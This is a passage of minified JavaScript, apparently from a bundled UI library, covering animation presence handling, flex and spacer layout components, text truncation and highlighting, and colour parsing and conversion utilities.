r;if("string"==typeof n||"object"==typeof n){const o=Au(this.props,n,null===(t=this.presenceContext)||void 0===t?void 0:t.custom);o&&(r=o[e])}if(n&&void 0!==r)return r;const o=this.getBaseTargetFromProps(this.props,e);return void 0===o||Lc(o)?void 0!==this.initialValues[e]&&void 0===r?void 0:this.baseTarget[e]:o}on(e,t){return this.events[e]||(this.events[e]=new Mf),this.events[e].add(t)}notify(e,...t){this.events[e]&&this.events[e].notify(...t)}}class ng extends tg{constructor(){super(...arguments),this.KeyframeResolver=_p}sortInstanceNodePosition(e,t){return 2&e.compareDocumentPosition(t)?1:-1}getBaseTargetFromProps(e,t){return e.style?e.style[t]:void 0}removeValueFromRenderState(e,{vars:t,style:n}){delete t[e],delete n[e]}}class rg extends ng{constructor(){super(...arguments),this.type="html"}readValueFromInstance(e,t){if(zc.has(t)){const e=xp(t);return e&&e.default||0}{const r=(n=e,window.getComputedStyle(n)),o=($c(t)?r.getPropertyValue(t):r[t])||0;return"string"==typeof o?o.trim():o}var n}measureInstanceViewportBox(e,{transformPagePoint:t}){return Mh(e,t)}build(e,t,n,r){du(e,t,n,r.transformTemplate)}scrapeMotionValuesFromProps(e,t,n){return Iu(e,t,n)}handleChildMotionValue(){this.childSubscription&&(this.childSubscription(),delete this.childSubscription);const{children:e}=this.props;Lc(e)&&(this.childSubscription=e.on("change",(e=>{this.current&&(this.current.textContent=`${e}`)})))}renderInstance(e,t,n,r){Pu(e,t,n,r)}}class og extends ng{constructor(){super(...arguments),this.type="svg",this.isSVGTag=!1}getBaseTargetFromProps(e,t){return e[t]}readValueFromInstance(e,t){if(zc.has(t)){const e=xp(t);return e&&e.default||0}return t=Nu.has(t)?t:ic(t),e.getAttribute(t)}measureInstanceViewportBox(){return{x:{min:0,max:0},y:{min:0,max:0}}}scrapeMotionValuesFromProps(e,t,n){return Ru(e,t,n)}build(e,t,n,r){Su(e,t,n,this.isSVGTag,r.transformTemplate)}renderInstance(e,t,n,r){Tu(e,t,0,r)}mount(e){this.isSVGTag=ku(e.tagName),super.mount(e)}}const ig=(e,t)=>Mc(e)?new og(t,{enableHardwareAcceleration:!1}):new rg(t,{allowProjection:e!==B.Fragment,enableHardwareAcceleration:!0}),sg={...Yf,...md,...Um,...{layout:{ProjectionNode:Wm,MeasureLayout:Wh}}},ag=Ic(((e,t)=>function(e,{forwardMotionProps:t=!1},n,r){return{...Mc(e)?Gu:Ku,preloadedFeatures:n,useRender:Eu(t),createVisualElement:r,Component:e}}(e,t,sg,ig)));function lg(){const e=(0,B.useRef)(!1);return rc((()=>(e.current=!0,()=>{e.current=!1})),[]),e}class cg extends B.Component{getSnapshotBeforeUpdate(e){const t=this.props.childRef.current;if(t&&e.isPresent&&!this.props.isPresent){const e=this.props.sizeRef.current;e.height=t.offsetHeight||0,e.width=t.offsetWidth||0,e.top=t.offsetTop,e.left=t.offsetLeft}return null}componentDidUpdate(){}render(){return this.props.children}}function ug({children:e,isPresent:t}){const n=(0,B.useId)(),r=(0,B.useRef)(null),o=(0,B.useRef)({width:0,height:0,top:0,left:0}),{nonce:i}=(0,B.useContext)(Jl);return(0,B.useInsertionEffect)((()=>{const{width:e,height:s,top:a,left:l}=o.current;if(t||!r.current||!e||!s)return;r.current.dataset.motionPopId=n;const c=document.createElement("style");return i&&(c.nonce=i),document.head.appendChild(c),c.sheet&&c.sheet.insertRule(`\n [data-motion-pop-id="${n}"] {\n position: absolute !important;\n width: ${e}px !important;\n height: ${s}px !important;\n top: ${a}px !important;\n left: ${l}px !important;\n }\n `),()=>{document.head.removeChild(c)}}),[t]),(0,_t.jsx)(cg,{isPresent:t,childRef:r,sizeRef:o,children:B.cloneElement(e,{ref:r})})}const dg=({children:e,initial:t,isPresent:n,onExitComplete:r,custom:o,presenceAffectsLayout:i,mode:s})=>{const a=Du(pg),l=(0,B.useId)(),c=(0,B.useMemo)((()=>({id:l,initial:t,isPresent:n,custom:o,onExitComplete:e=>{a.set(e,!0);for(const e of a.values())if(!e)return;r&&r()},register:e=>(a.set(e,!1),()=>a.delete(e))})),i?[Math.random()]:[n]);return(0,B.useMemo)((()=>{a.forEach(((e,t)=>a.set(t,!1)))}),[n]),B.useEffect((()=>{!n&&!a.size&&r&&r()}),[n]),"popLayout"===s&&(e=(0,_t.jsx)(ug,{isPresent:n,children:e})),(0,_t.jsx)(tc.Provider,{value:c,children:e})};function pg(){return new Map}const fg=e=>e.key||"";const hg=({children:e,custom:t,initial:n=!0,onExitComplete:r,exitBeforeEnter:o,presenceAffectsLayout:i=!0,mode:s="sync"})=>{Md(!o,"Replace exitBeforeEnter with mode='wait'");const a=(0,B.useContext)(jc).forceRender||function(){const e=lg(),[t,n]=(0,B.useState)(0),r=(0,B.useCallback)((()=>{e.current&&n(t+1)}),[t]);return[(0,B.useCallback)((()=>$u.postRender(r)),[r]),t]}()[0],l=lg(),c=function(e){const t=[];return B.Children.forEach(e,(e=>{(0,B.isValidElement)(e)&&t.push(e)})),t}(e);let u=c;const d=(0,B.useRef)(new Map).current,p=(0,B.useRef)(u),f=(0,B.useRef)(new Map).current,h=(0,B.useRef)(!0);var m;if(rc((()=>{h.current=!1,function(e,t){e.forEach((e=>{const n=fg(e);t.set(n,e)}))}(c,f),p.current=u})),m=()=>{h.current=!0,f.clear(),d.clear()},(0,B.useEffect)((()=>()=>m()),[]),h.current)return(0,_t.jsx)(_t.Fragment,{children:u.map((e=>(0,_t.jsx)(dg,{isPresent:!0,initial:!!n&&void 0,presenceAffectsLayout:i,mode:s,children:e},fg(e))))});u=[...u];const g=p.current.map(fg),v=c.map(fg),b=g.length;for(let e=0;e<b;e++){const t=g[e];-1!==v.indexOf(t)||d.has(t)||d.set(t,void 0)}return"wait"===s&&d.size&&(u=[]),d.forEach(((e,n)=>{if(-1!==v.indexOf(n))return;const o=f.get(n);if(!o)return;const h=g.indexOf(n);let m=e;if(!m){const e=()=>{d.delete(n);const e=Array.from(f.keys()).filter((e=>!v.includes(e)));if(e.forEach((e=>f.delete(e))),p.current=c.filter((t=>{const r=fg(t);return r===n||e.includes(r)})),!d.size){if(!1===l.current)return;a(),r&&r()}};m=(0,_t.jsx)(dg,{isPresent:!1,onExitComplete:e,custom:t,presenceAffectsLayout:i,mode:s,children:o},fg(o)),d.set(n,m)}u.splice(h,0,m)})),u=u.map((e=>{const t=e.key;return d.has(t)?e:(0,_t.jsx)(dg,{isPresent:!0,presenceAffectsLayout:i,mode:s,children:e},fg(e))})),(0,_t.jsx)(_t.Fragment,{children:d.size?u:u.map((e=>(0,B.cloneElement)(e)))})},mg=["40em","52em","64em"],gg=(e={})=>{const{defaultIndex:t=0}=e;if("number"!=typeof t)throw new TypeError(`Default breakpoint index should be a number. Got: ${t}, ${typeof t}`);if(t<0||t>mg.length-1)throw new RangeError(`Default breakpoint index out of range. Theme has ${mg.length} breakpoints, got index ${t}`);const[n,r]=(0,c.useState)(t);return(0,c.useEffect)((()=>{const e=()=>{const e=mg.filter((e=>"undefined"!=typeof window&&window.matchMedia(`screen and (min-width: ${e})`).matches)).length;n!==e&&r(e)};return e(),"undefined"!=typeof window&&window.addEventListener("resize",e),()=>{"undefined"!=typeof window&&window.removeEventListener("resize",e)}}),[n]),n};function vg(e,t={}){const n=gg(t);if(!Array.isArray(e)&&"function"!=typeof e)return e;const r=e||[];return r[n>=r.length?r.length-1:n]}const bg={name:"zjik7",styles:"display:flex"},xg={name:"qgaee5",styles:"display:block;max-height:100%;max-width:100%;min-height:0;min-width:0"},yg={name:"82a6rk",styles:"flex:1"},wg={name:"13nosa1",styles:">*{min-height:0;}"},_g={name:"1pwxzk4",styles:">*{min-width:0;}"};function Sg(e){const{align:t,className:n,direction:r="row",expanded:o=!0,gap:i=2,justify:s="space-between",wrap:a=!1,...l}=sl(function(e){const{isReversed:t,...n}=e;return void 0!==t?(Xi()("Flex isReversed",{alternative:'Flex direction="row-reverse" or "column-reverse"',since:"5.9"}),{...n,direction:t?"row-reverse":"row"}):n}(e),"Flex"),u=vg(Array.isArray(r)?r:[r]),d="string"==typeof u&&!!u.includes("column"),p=il();return{...l,className:(0,c.useMemo)((()=>{const e=Nl({alignItems:null!=t?t:d?"normal":"center",flexDirection:u,flexWrap:a?"wrap":void 0,gap:Il(i),justifyContent:s,height:d&&o?"100%":void 0,width:!d&&o?"100%":void 0},"","");return p(bg,e,d?wg:_g,n)}),[t,n,p,u,o,i,d,s,a]),isColumn:d}}const Cg=(0,c.createContext)({flexItemDisplay:void 0});const kg=al((function(e,t){const{children:n,isColumn:r,...o}=Sg(e);return(0,_t.jsx)(Cg.Provider,{value:{flexItemDisplay:r?"block":void 0},children:(0,_t.jsx)(_l,{...o,ref:t,children:n})})}),"Flex");function jg(e){const{className:t,display:n,isBlock:r=!1,...o}=sl(e,"FlexItem"),i={},s=(0,c.useContext)(Cg).flexItemDisplay;i.Base=Nl({display:n||s},"","");return{...o,className:il()(xg,i.Base,r&&yg,t)}}const Eg=al((function(e,t){const n=function(e){return jg({isBlock:!0,...sl(e,"FlexBlock")})}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"FlexBlock"),Pg=new RegExp(/-left/g),Ng=new RegExp(/-right/g),Tg=new RegExp(/Left/g),Ig=new RegExp(/Right/g);function Rg(e){return"left"===e?"right":"right"===e?"left":Pg.test(e)?e.replace(Pg,"-right"):Ng.test(e)?e.replace(Ng,"-left"):Tg.test(e)?e.replace(Tg,"Right"):Ig.test(e)?e.replace(Ig,"Left"):e}function Mg(e={},t){return()=>t?(0,a.isRTL)()?Nl(t,"",""):Nl(e,"",""):(0,a.isRTL)()?Nl(((e={})=>Object.fromEntries(Object.entries(e).map((([e,t])=>[Rg(e),t]))))(e),"",""):Nl(e,"","")}function Ag(e){return null!=e}Mg.watch=()=>(0,a.isRTL)();const Dg=al((function(e,t){const n=function(e){const{className:t,margin:n,marginBottom:r=2,marginLeft:o,marginRight:i,marginTop:s,marginX:a,marginY:l,padding:c,paddingBottom:u,paddingLeft:d,paddingRight:p,paddingTop:f,paddingX:h,paddingY:m,...g}=sl(e,"Spacer");return{...g,className:il()(Ag(n)&&Nl("margin:",Il(n),";",""),Ag(l)&&Nl("margin-bottom:",Il(l),";margin-top:",Il(l),";",""),Ag(a)&&Nl("margin-left:",Il(a),";margin-right:",Il(a),";",""),Ag(s)&&Nl("margin-top:",Il(s),";",""),Ag(r)&&Nl("margin-bottom:",Il(r),";",""),Ag(o)&&Mg({marginLeft:Il(o)})(),Ag(i)&&Mg({marginRight:Il(i)})(),Ag(c)&&Nl("padding:",Il(c),";",""),Ag(m)&&Nl("padding-bottom:",Il(m),";padding-top:",Il(m),";",""),Ag(h)&&Nl("padding-left:",Il(h),";padding-right:",Il(h),";",""),Ag(f)&&Nl("padding-top:",Il(f),";",""),Ag(u)&&Nl("padding-bottom:",Il(u),";",""),Ag(d)&&Mg({paddingLeft:Il(d)})(),Ag(p)&&Mg({paddingRight:Il(p)})(),t)}}(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"Spacer"),zg=Dg,Og=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z"})}),Lg=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M7 11.5h10V13H7z"})});const Fg=al((function(e,t){const n=jg(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"FlexItem");const Bg={name:"hdknak",styles:"display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap"};function Vg(e){return null!=e}const $g=e=>"string"==typeof e?(e=>parseFloat(e))(e):e,Hg="…",Wg={auto:"auto",head:"head",middle:"middle",tail:"tail",none:"none"},Ug={ellipsis:Hg,ellipsizeMode:Wg.auto,limit:0,numberOfLines:0};function Gg(e="",t){const n={...Ug,...t},{ellipsis:r,ellipsizeMode:o,limit:i}=n;if(o===Wg.none)return e;let s,a;switch(o){case Wg.head:s=0,a=i;break;case Wg.middle:s=Math.floor(i/2),a=Math.floor(i/2);break;default:s=i,a=0}const l=o!==Wg.auto?function(e,t,n,r){if("string"!=typeof e)return"";const o=e.length,i=~~t,s=~~n,a=Vg(r)?r:Hg;return 0===i&&0===s||i>=o||s>=o||i+s>=o?e:0===s?e.slice(0,i)+a:e.slice(0,i)+a+e.slice(o-s)}(e,s,a,r):e;return l}function Kg(e){const{className:t,children:n,ellipsis:r=Hg,ellipsizeMode:o=Wg.auto,limit:i=0,numberOfLines:s=0,...a}=sl(e,"Truncate"),l=il();let u;"string"==typeof n?u=n:"number"==typeof n&&(u=n.toString());const d=u?Gg(u,{ellipsis:r,ellipsizeMode:o,limit:i,numberOfLines:s}):n,p=!!u&&o===Wg.auto;return{...a,className:(0,c.useMemo)((()=>l(p&&!s&&Bg,p&&!!s&&Nl(1===s?"word-break: break-all;":""," -webkit-box-orient:vertical;-webkit-line-clamp:",s,";display:-webkit-box;overflow:hidden;",""),t)),[t,l,s,p]),children:d}}var qg={grad:.9,turn:360,rad:360/(2*Math.PI)},Yg=function(e){return"string"==typeof e?e.length>0:"number"==typeof e},Xg=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=Math.pow(10,t)),Math.round(n*e)/n+0},Zg=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=1),e>n?n:e>t?e:t},Qg=function(e){return(e=isFinite(e)?e%360:0)>0?e:e+360},Jg=function(e){return{r:Zg(e.r,0,255),g:Zg(e.g,0,255),b:Zg(e.b,0,255),a:Zg(e.a)}},ev=function(e){return{r:Xg(e.r),g:Xg(e.g),b:Xg(e.b),a:Xg(e.a,3)}},tv=/^#([0-9a-f]{3,8})$/i,nv=function(e){var t=e.toString(16);return t.length<2?"0"+t:t},rv=function(e){var t=e.r,n=e.g,r=e.b,o=e.a,i=Math.max(t,n,r),s=i-Math.min(t,n,r),a=s?i===t?(n-r)/s:i===n?2+(r-t)/s:4+(t-n)/s:0;return{h:60*(a<0?a+6:a),s:i?s/i*100:0,v:i/255*100,a:o}},ov=function(e){var t=e.h,n=e.s,r=e.v,o=e.a;t=t/360*6,n/=100,r/=100;var i=Math.floor(t),s=r*(1-n),a=r*(1-(t-i)*n),l=r*(1-(1-t+i)*n),c=i%6;return{r:255*[r,a,s,s,l,r][c],g:255*[l,r,r,a,s,s][c],b:255*[s,s,l,r,r,a][c],a:o}},iv=function(e){return{h:Qg(e.h),s:Zg(e.s,0,100),l:Zg(e.l,0,100),a:Zg(e.a)}},sv=function(e){return{h:Xg(e.h),s:Xg(e.s),l:Xg(e.l),a:Xg(e.a,3)}},av=function(e){return ov((n=(t=e).s,{h:t.h,s:(n*=((r=t.l)<50?r:100-r)/100)>0?2*n/(r+n)*100:0,v:r+n,a:t.a}));var t,n,r},lv=function(e){return{h:(t=rv(e)).h,s:(o=(200-(n=t.s))*(r=t.v)/100)>0&&o<200?n*r/100/(o<=100?o:200-o)*100:0,l:o/2,a:t.a};var t,n,r,o},cv=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,uv=/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,dv=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,pv=/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i,fv={string:[[function(e){var t=tv.exec(e);return t?(e=t[1]).length<=4?{r:parseInt(e[0]+e[0],16),g:parseInt(e[1]+e[1],16),b:parseInt(e[2]+e[2],16),a:4===e.length?Xg(parseInt(e[3]+e[3],16)/255,2):1}:6===e.length||8===e.length?{r:parseInt(e.substr(0,2),16),g:parseInt(e.substr(2,2),16),b:parseInt(e.substr(4,2),16),a:8===e.length?Xg(parseInt(e.substr(6,2),16)/255,2):1}:null:null},"hex"],[function(e){var t=dv.exec(e)||pv.exec(e);return t?t[2]!==t[4]||t[4]!==t[6]?null:Jg({r:Number(t[1])/(t[2]?100/255:1),g:Number(t[3])/(t[4]?100/255:1),b:Number(t[5])/(t[6]?100/255:1),a:void 0===t[7]?1:Number(t[7])/(t[8]?100:1)}):null},"rgb"],[function(e){var t=cv.exec(e)||uv.exec(e);if(!t)return null;var n,r,o=iv({h:(n=t[1],r=t[2],void 0===r&&(r="deg"),Number(n)*(qg[r]||1)),s:Number(t[3]),l:Number(t[4]),a:void 0===t[5]?1:Number(t[5])/(t[6]?100:1)});return av(o)},"hsl"]],object:[[function(e){var t=e.r,n=e.g,r=e.b,o=e.a,i=void 0===o?1:o;return Yg(t)&&Yg(n)&&Yg(r)?Jg({r:Number(t),g:Number(n),b:Number(r),a:Number(i)}):null},"rgb"],[function(e){var t=e.h,n=e.s,r=e.l,o=e.a,i=void 0===o?1:o;if(!Yg(t)||!Yg(n)||!Yg(r))return null;var s=iv({h:Number(t),s:Number(n),l:Number(r),a:Number(i)});return av(s)},"hsl"],[function(e){var t=e.h,n=e.s,r=e.v,o=e.a,i=void 0===o?1:o;if(!Yg(t)||!Yg(n)||!Yg(r))return null;var s=function(e){return{h:Qg(e.h),s:Zg(e.s,0,100),v:Zg(e.v,0,100),a:Zg(e.a)}}({h:Number(t),s:Number(n),v:Number(r),a:Number(i)});return ov(s)},"hsv"]]},hv=function(e,t){for(var n=0;n<t.length;n++){var r=t[n][0](e);if(r)return[r,t[n][1]]}return[null,void 0]},mv=function(e){return"string"==typeof e?hv(e.trim(),fv.string):"object"==typeof e&&null!==e?hv(e,fv.object):[null,void 0]},gv=function(e,t){var n=lv(e);return{h:n.h,s:Zg(n.s+100*t,0,100),l:n.l,a:n.a}},vv=function(e){return(299*e.r+587*e.g+114*e.b)/1e3/255},bv=function(e,t){var n=lv(e);return{h:n.h,s:n.s,l:Zg(n.l+100*t,0,100),a:n.a}},xv=function(){function e(e){this.parsed=mv(e)[0],this.rgba=this.parsed||{r:0,g:0,b:0,a:1}}return e.prototype.isValid=function(){return null!==this.parsed},e.prototype.brightness=function(){return Xg(vv(this.rgba),2)},e.prototype.isDark=function(){return vv(this.rgba)<.5},e.prototype.isLight=function(){return vv(this.rgba)>=.5},e.prototype.toHex=function(){return t=(e=ev(this.rgba)).r,n=e.g,r=e.b,i=(o=e.a)<1?nv(Xg(255*o)):"","#"+nv(t)+nv(n)+nv(r)+i;var e,t,n,r,o,i},e.prototype.toRgb=function(){return ev(this.rgba)},e.prototype.toRgbString=function(){return t=(e=ev(this.rgba)).r,n=e.g,r=e.b,(o=e.a)<1?"rgba("+t+", "+n+", "+r+", "+o+")":"rgb("+t+", "+n+", "+r+")";var e,t,n,r,o},e.prototype.toHsl=function(){return sv(lv(this.rgba))},e.prototype.toHslString=function(){return t=(e=sv(lv(this.rgba))).h,n=e.s,r=e.l,(o=e.a)<1?"hsla("+t+", "+n+"%, "+r+"%, "+o+")":"hsl("+t+", "+n+"%, "+r+"%)";var e,t,n,r,o},e.prototype.toHsv=function(){return e=rv(this.rgba),{h:Xg(e.h),s:Xg(e.s),v:Xg(e.v),a:Xg(e.a,3)};var e},e.prototype.invert=function(){return yv({r:255-(e=this.rgba).r,g:255-e.g,b:255-e.b,a:e.a});var e},e.prototype.saturate=function(e){return void 0===e&&(e=.1),yv(gv(this.rgba,e))},e.prototype.desaturate=function(e){return void 0===e&&(e=.1),yv(gv(this.rgba,-e))},e.prototype.grayscale=function(){return yv(gv(this.rgba,-1))},e.prototype.lighten=function(e){return void 0===e&&(e=.1),yv(bv(this.rgba,e))},e.prototype.darken=function(e){return void 0===e&&(e=.1),yv(bv(this.rgba,-e))},e.prototype.rotate=function(e){return void 0===e&&(e=15),this.hue(this.hue()+e)},e.prototype.alpha=function(e){return"number"==typeof e?yv({r:(t=this.rgba).r,g:t.g,b:t.b,a:e}):Xg(this.rgba.a,3);var t},e.prototype.hue=function(e){var t=lv(this.rgba);return"number"==typeof e?yv({h:e,s:t.s,l:t.l,a:t.a}):Xg(t.h)},e.prototype.isEqual=function(e){return this.toHex()===yv(e).toHex()},e}(),yv=function(e){return e instanceof xv?e:new xv(e)},wv=[],_v=function(e){e.forEach((function(e){wv.indexOf(e)<0&&(e(xv,fv),wv.push(e))}))};function Sv(e,t){var n={white:"#ffffff",bisque:"#ffe4c4",blue:"#0000ff",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",antiquewhite:"#faebd7",aqua:"#00ffff",azure:"#f0ffff",whitesmoke:"#f5f5f5",papayawhip:"#ffefd5",plum:"#dda0dd",blanchedalmond:"#ffebcd",black:"#000000",gold:"#ffd700",goldenrod:"#daa520",gainsboro:"#dcdcdc",cornsilk:"#fff8dc",cornflowerblue:"#6495ed",burlywood:"#deb887",aquamarine:"#7fffd4",beige:"#f5f5dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkkhaki:"#bdb76b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",peachpuff:"#ffdab9",darkmagenta:"#8b008b",darkred:"#8b0000",darkorchid:"#9932cc",darkorange:"#ff8c00",darkslateblue:"#483d8b",gray:"#808080",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",deeppink:"#ff1493",deepskyblue:"#00bfff",wheat:"#f5deb3",firebrick:"#b22222",floralwhite:"#fffaf0",ghostwhite:"#f8f8ff",darkviolet:"#9400d3",magenta:"#ff00ff",green:"#008000",dodgerblue:"#1e90ff",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",blueviolet:"#8a2be2",forestgreen:"#228b22",lawngreen:"#7cfc00",indianred:"#cd5c5c",indigo:"#4b0082",fuchsia:"#ff00ff",brown:"#a52a2a",maroon:"#800000",mediumblue:"#0000cd",lightcoral:"#f08080",darkturquoise:"#00ced1",lightcyan:"#e0ffff",ivory:"#fffff0",lightyellow:"#ffffe0",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",linen:"#faf0e6",mediumaquamarine:"#66cdaa",lemonchiffon:"#fffacd",lime:"#00ff00",khaki:"#f0e68c",mediumseagreen:"#3cb371",limegreen:"#32cd32",mediumspringgreen:"#00fa9a",lightskyblue:"#87cefa",lightblue:"#add8e6",midnightblue:"#191970",lightpink:"#ffb6c1",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",mintcream:"#f5fffa",lightslategray:"#778899",lightslategrey:"#778899",navajowhite:"#ffdead",navy:"#000080",mediumvioletred:"#c71585",powderblue:"#b0e0e6",palegoldenrod:"#eee8aa",oldlace:"#fdf5e6",paleturquoise:"#afeeee",mediumturquoise:"#48d1cc",mediumorchid:"#ba55d3",rebeccapurple:"#663399",lightsteelblue:"#b0c4de",mediumslateblue:"#7b68ee",thistle:"#d8bfd8",tan:"#d2b48c",orchid:"#da70d6",mediumpurple:"#9370db",purple:"#800080",pink:"#ffc0cb",skyblue:"#87ceeb",springgreen:"#00ff7f",palegreen:"#98fb98",red:"#ff0000",yellow:"#ffff00",slateblue:"#6a5acd",lavenderblush:"#fff0f5",peru:"#cd853f",palevioletred:"#db7093",violet:"#ee82ee",teal:"#008080",slategray:"#708090",slategrey:"#708090",aliceblue:"#f0f8ff",darkseagreen:"#8fbc8f",darkolivegreen:"#556b2f",greenyellow:"#adff2f",seagreen:"#2e8b57",seashell:"#fff5ee",tomato:"#ff6347",silver:"#c0c0c0",sienna:"#a0522d",lavender:"#e6e6fa",lightgreen:"#90ee90",orange:"#ffa500",orangered:"#ff4500",steelblue:"#4682b4",royalblue:"#4169e1",turquoise:"#40e0d0",yellowgreen:"#9acd32",salmon:"#fa8072",saddlebrown:"#8b4513",sandybrown:"#f4a460",rosybrown:"#bc8f8f",darksalmon:"#e9967a",lightgoldenrodyellow:"#fafad2",snow:"#fffafa",lightgrey:"#d3d3d3",lightgray:"#d3d3d3",dimgray:"#696969",dimgrey:"#696969",olivedrab:"#6b8e23",olive:"#808000"},r={};for(var o in n)r[n[o]]=o;var i={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return"transparent";var o,s,a=r[this.toHex()];if(a)return a;if(null==t?void 0:t.closest){var l=this.toRgb(),c=1/0,u="black";if(!i.length)for(var d in n)i[d]=new e(n[d]).toRgb();for(var p in n){var f=(o=l,s=i[p],Math.pow(o.r-s.r,2)+Math.pow(o.g-s.g,2)+Math.pow(o.b-s.b,2));f<c&&(c=f,u=p)}return u}},t.string.push([function(t){var r=t.toLowerCase(),o="transparent"===r?"#0000":n[r];return o?new e(o).toRgb():null},"name"])}let Cv;_v([Sv]);const kv=Es((function(e){if("string"!=typeof e)return"";if("string"==typeof(t=e)&&yv(t).isValid())return e;var t;if(!e.includes("var("))return"";if("undefined"==typeof document)return"";const n=function(){if("undefined"!=typeof document){if(!Cv){const e=document.createElement("div");e.setAttribute("data-g2-color-computation-node",""),document.body.appendChild(e),Cv=e}return Cv}}();if(!n)return"";n.style.background=e;const r=window?.getComputedStyle(n).background;return n.style.background="",r||""}));function jv(e){const t=function(e){const t=kv(e);return yv(t).isLight()?"#000000":"#ffffff"}(e);return"#000000"===t?"dark":"light"}const Ev=Nl("color:",zl.theme.foreground,";line-height:",Fl.fontLineHeightBase,";margin:0;text-wrap:balance;text-wrap:pretty;",""),Pv={name:"4zleql",styles:"display:block"},Nv=Nl("color:",zl.alert.green,";",""),Tv=Nl("color:",zl.alert.red,";",""),Iv=Nl("color:",zl.gray[700],";",""),Rv=Nl("mark{background:",zl.alert.yellow,";border-radius:",Fl.radiusSmall,";box-shadow:0 0 0 1px rgba( 0, 0, 0, 0.05 ) inset,0 -1px 0 rgba( 0, 0, 0, 0.1 ) inset;}",""),Mv={name:"50zrmy",styles:"text-transform:uppercase"};var Av=o(9664);const Dv=Es((e=>{const t={};for(const n in e)t[n.toLowerCase()]=e[n];return t}));const zv={body:13,caption:10,footnote:11,largeTitle:28,subheadline:12,title:20},Ov=[1,2,3,4,5,6].flatMap((e=>[e,e.toString()]));function Lv(e=13){if(e in zv)return Lv(zv[e]);if("number"!=typeof e){const t=parseFloat(e);if(Number.isNaN(t))return e;e=t}return`calc(${`(${e} / 13)`} * ${Fl.fontSize})`}function Fv(e=3){if(!Ov.includes(e))return Lv(e);return Fl[`fontSizeH${e}`]}var Bv={name:"50zrmy",styles:"text-transform:uppercase"};function Vv(t){const{adjustLineHeightForInnerControls:n,align:r,children:o,className:i,color:s,ellipsizeMode:a,isDestructive:l=!1,display:u,highlightEscape:d=!1,highlightCaseSensitive:p=!1,highlightWords:f,highlightSanitize:h,isBlock:m=!1,letterSpacing:g,lineHeight:v,optimizeReadabilityFor:b,size:x,truncate:y=!1,upperCase:w=!1,variant:_,weight:S=Fl.fontWeight,...C}=sl(t,"Text");let k=o;const j=Array.isArray(f),E="caption"===x;if(j){if("string"!=typeof o)throw new TypeError("`children` of `Text` must only be `string` types when `highlightWords` is defined");k=function({activeClassName:e="",activeIndex:t=-1,activeStyle:n,autoEscape:r,caseSensitive:o=!1,children:i,findChunks:s,highlightClassName:a="",highlightStyle:l={},highlightTag:u="mark",sanitize:d,searchWords:p=[],unhighlightClassName:f="",unhighlightStyle:h}){if(!i)return null;if("string"!=typeof i)return i;const m=i,g=(0,Av.findAll)({autoEscape:r,caseSensitive:o,findChunks:s,sanitize:d,searchWords:p,textToHighlight:m}),v=u;let b,x=-1,y="";const w=g.map(((r,i)=>{const s=m.substr(r.start,r.end-r.start);if(r.highlight){let r;x++,r="object"==typeof a?o?a[s]:(a=Dv(a))[s.toLowerCase()]:a;const u=x===+t;y=`${r} ${u?e:""}`,b=!0===u&&null!==n?Object.assign({},l,n):l;const d={children:s,className:y,key:i,style:b};return"string"!=typeof v&&(d.highlightIndex=x),(0,c.createElement)(v,d)}return(0,c.createElement)("span",{children:s,className:f,key:i,style:h})}));return w}({autoEscape:d,children:o,caseSensitive:p,searchWords:f,sanitize:h})}const P=il();let N;!0===y&&(N="auto"),!1===y&&(N="none");const T=Kg({...C,className:(0,c.useMemo)((()=>{const t={},o=function(e,t){if(t)return t;if(!e)return;let n=`calc(${Fl.controlHeight} + ${Il(2)})`;switch(e){case"large":n=`calc(${Fl.controlHeightLarge} + ${Il(2)})`;break;case"small":n=`calc(${Fl.controlHeightSmall} + ${Il(2)})`;break;case"xSmall":n=`calc(${Fl.controlHeightXSmall} + ${Il(2)})`}return n}(n,v);if(t.Base=Nl({color:s,display:u,fontSize:Lv(x),fontWeight:S,lineHeight:o,letterSpacing:g,textAlign:r},"",""),t.upperCase=Bv,t.optimalTextColor=null,b){const e="dark"===jv(b);t.optimalTextColor=Nl(e?{color:zl.gray[900]}:{color:zl.white},"","")}return P(Ev,t.Base,t.optimalTextColor,l&&Tv,!!j&&Rv,m&&Pv,E&&Iv,_&&e[_],w&&t.upperCase,i)}),[n,r,i,s,P,u,m,E,l,j,g,v,b,x,w,_,S]),children:o,ellipsizeMode:a||N});return!y&&Array.isArray(o)&&(k=c.Children.map(o,(e=>{if("object"!=typeof e||null===e||!("props"in e))return e;return 